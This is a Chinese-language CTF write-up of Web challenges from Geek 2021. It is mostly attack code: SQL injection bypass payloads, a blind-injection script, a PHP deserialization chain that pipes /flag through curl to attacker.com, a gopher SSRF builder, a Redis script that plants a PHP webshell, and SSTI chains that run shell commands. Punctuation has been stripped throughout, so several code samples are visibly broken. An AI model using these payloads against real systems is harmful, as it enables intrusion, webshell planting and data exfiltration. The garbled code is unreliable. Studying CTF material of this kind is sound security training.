
Web安全实战Geek极客大挑战2021中那些让人拍案叫绝的漏洞利用技巧在网络安全领域CTF比赛一直是检验技术实力的重要舞台。2021年的Geek极客大挑战汇集了众多令人眼前一亮的Web安全题目这些题目不仅考察基础漏洞知识更考验选手的创造性思维和实战能力。本文将深入剖析其中最具代表性的几道Web题目揭示那些让人拍案叫绝的漏洞利用技巧。1. SQL注入的艺术从基础到高级绕过SQL注入作为Web安全领域的常青树在本次比赛中展现了新的变化。一道名为babysql的题目看似简单实则暗藏玄机。1.1 基础注入点的发现通过Burp Suite抓包分析发现username参数存在注入漏洞。传统做法是直接使用sqlmap工具sqlmap -u http://target.com/login --datausernameadminpassword123 --level5 --risk3但题目设置了特殊过滤机制需要更精细的手工注入。1.2 高级过滤绕过技巧当常见的关键字如SELECT、UNION被过滤时可以采用以下替代方案被过滤关键字替代方案SELECTSELSELECTECT (双写绕过)UNIONUNIUNIONON (注释分割)空格/**/或%09(Tab)实战payload示例admin/**/UNIUNIONON/**/SELSELECTECT/**/1,2,3--1.3 盲注的优雅解决方案在Anothersql题目中报错注入被禁用必须使用盲注技术。传统方法效率低下可以采用二分查找法优化import requests url http://target.com/check.php flag for i in range(1,50): low 32 high 126 while low high: mid (low high) // 2 payload fadmin OR ASCII(SUBSTR((SELECT database()),{i},1)){mid}# data {username: payload, password:123} r requests.post(url, datadata) if Welcome in r.text: low mid 1 else: high mid - 1 flag chr(low) print(flag)这种方法将时间复杂度从O(n)降低到O(log n)大幅提高效率。2. 反序列化漏洞的魔法链条构建PHP反序列化漏洞因其复杂性而成为CTF中的高频考点。babyPOP题目展示了一个精妙的反序列化利用链。2.1 反序列化基础原理PHP反序列化漏洞的核心在于魔术方法的自动调用魔术方法触发时机__wakeup()反序列化时立即调用__destruct()对象销毁时调用__toString()对象被当作字符串使用时2.2 漏洞利用链分析题目中的利用链构造如下__wakeup()设置静态变量$Do_u_like_JiaRan为true__destruct()检查该变量后调用__invoke()__invoke()设置另一个静态变量$Do_u_like_AFKL为true__toString()执行命令完整利用代码?php class a { public static $Do_u_like_JiaRan false; } class b { private $cmd curl http://attacker.com/?acat /flag|base64; public function __toString() { if(a::$Do_u_like_AFKL) return exec($this-cmd); } } class c { public function __wakeup() { a::$Do_u_like_JiaRan true; } } class d { public $value; public function __invoke() { a::$Do_u_like_AFKL true; return $this-value; } } class e { public $afkl; public function __destruct() { if(a::$Do_u_like_JiaRan) ($this-afkl)(); } } $b new b(); $d new d(); $d-value $b; $e new e(); $e-afkl $d; $c new c(); $c-a $e; echo base64_encode(serialize($c)); ?2.3 实战技巧使用base64_encode避免特殊字符问题静态变量在序列化中不会保存需要通过魔术方法动态设置链式调用需要精确控制执行顺序3. SSRF攻击的内网渗透之道期末不挂科就算成功题目展示了SSRF在内网渗透中的强大威力。3.1 常见SSRF利用协议对比协议适用场景限制情况http常规Web请求可能检查目标IPfile读取本地文件通常被禁用gopher发送任意TCP数据需要协议支持dict获取服务信息功能有限3.2 Gopher协议的高级利用构造POST请求攻击内网服务的Python脚本import urllib.parse payload POST /admin/login HTTP/1.1 Host: 172.17.0.2 Content-Type: application/x-www-form-urlencoded Content-Length: 28 usernameadminpassword123456 encoded urllib.parse.quote(payload) final_payload encoded.replace(%0A,%0D%0A) print(fgopher://172.17.0.2:80/_{final_payload})关键点HTTP头必须以\r\n换行需要进行URL编码Content-Length必须准确计算3.3 Redis未授权访问利用当发现内网Redis服务时可以写入Webshellimport urllib cmd [ flushall, set shell ?php system($_GET[cmd]);?, config set dir /var/www/html, config set dbfilename shell.php, save ] payload gopher://127.0.0.1:6379/_ for c in cmd: payload urllib.parse.quote(f*{len(c.split())}\r\n \r\n.join([f${len(x)}\r\n{x} for x in c.split()]) \r\n) print(payload)4. 模板注入与代码执行的奇技淫巧babyPy题目展示了SSTI(服务器端模板注入)的巧妙利用方式。4.1 常见模板引擎检测不同模板引擎的测试payload引擎测试payloadJinja2{{7*7}}Twig{{7*7}}Smarty{7*7}AngularJS{{7*7}}4.2 Python SSTI利用链构建当常规注入点被过滤时可以通过对象继承链找到危险函数{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ catch_warnings %} {% for b in c.__init__.__globals__.values() %} {% if b.__class__ {}.__class__ %} {% if eval in b.keys() %} {{ b[eval](__import__(os).popen(id).read()) }} {% endif %} {% endif %} {% endfor %} {% endif %} {% endfor %}4.3 过滤绕过技巧当特殊字符被过滤时可以采用以下方法字符串拼接{{request|attr(application)|attr(\x5f\x5fglobals\x5f\x5f)}}十六进制编码{{().__class__.__bases__[0].__subclasses__()[133].__init__.__globals__[popen](id).read()}}属性访问替代{{request|attr(values)|attr(get)(cmd)}}这些漏洞利用技巧不仅展示了Web安全攻防的精妙之处更体现了安全研究人员在面对复杂环境时的创造性思维。理解这些技术原理将帮助开发者构建更安全的Web应用也为安全爱好者提供了宝贵的学习资料。